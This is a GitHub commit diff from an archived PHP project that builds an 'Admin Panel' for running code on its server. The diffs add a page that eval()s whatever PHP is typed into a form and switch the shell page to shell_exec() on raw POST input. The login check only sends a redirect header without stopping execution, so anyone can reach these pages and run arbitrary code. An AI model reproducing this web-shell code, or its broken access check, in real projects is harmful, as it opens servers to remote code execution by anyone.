This repository was archived by the owner on Sep 23, 2022. It is now read-only.
File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 2323
2424<a href="shell.php"><p class="server">EXECUTE SHELL</p></a>
2525<a href="mysql_exec.php"><p class="server">EXECUTE MYSQL</p></a>
26+ <a href="php_exec.php"><p class="server">EXECUTE PHP</p></a>
2627</body>
2728
2829
Original file line number Diff line number Diff line change 1+ <?php
2+ session_start ();
3+ if ($ _SESSION ['status ' ]!="1 " ){
4+ header ("Location: /404.php " );
5+ }
6+ ?>
7+ <html>
8+ <head>
9+ <title>Admin Panel</title>
10+ <link rel="stylesheet" type="text/css" href="style.css">
11+ </head>
12+ <body>
13+ <h1 style="text-align:center;">Admin Panel</h1>
14+ <a href="logout.php">Logout</a> 
15+ <a href="options.php">Home</a><hr>
16+
17+ <form action="" name="query" id="query" method="post">
18+ PHP:   <input type="text" id="query_box" name="query_box" placeholder='echo "Hello, World!";'></input><br><br>
19+ <button type="Submit" value="Submit">Submit</button>
20+ </form>
21+ <?php
22+ $ cwd =getcwd ();
23+ echo "<br>Current directory: $ cwd<br> " ;
24+ $ shell = $ _POST ['query_box ' ];
25+ if (!empty ($ _POST ['query_box ' ])) {
26+ //Run the shell command
27+ $ run = eval ($ shell );
28+ echo "<br><b>Output: </b><br> " ;
29+ echo "<pre> $ run</pre> " ;
30+ }else {
31+ echo "<b>Nothing has been run yet.</b> " ;
32+ }
33+ ?>
34+ </body>
35+ </html>
Original file line number Diff line number Diff line change 2323echo "<br>Current directory: $ cwd<br> " ;
2424$ shell = $ _POST ['query_box ' ];
2525if (!empty ($ _POST ['query_box ' ])) {
26- $ run = exec ("$ shell " );
26+ //Run the shell command
27+ $ run = shell_exec ("$ shell " );
2728 echo "<br><b>Output: </b><br> " ;
2829 echo "<pre> $ run</pre> " ;
2930}else {
Original file line number Diff line number Diff line change 77
88//Dont edit below here
99$ version =".00001 alpha " ;
10-
1110?>
1211
1312
You can’t perform that action at this time.
0 commit comments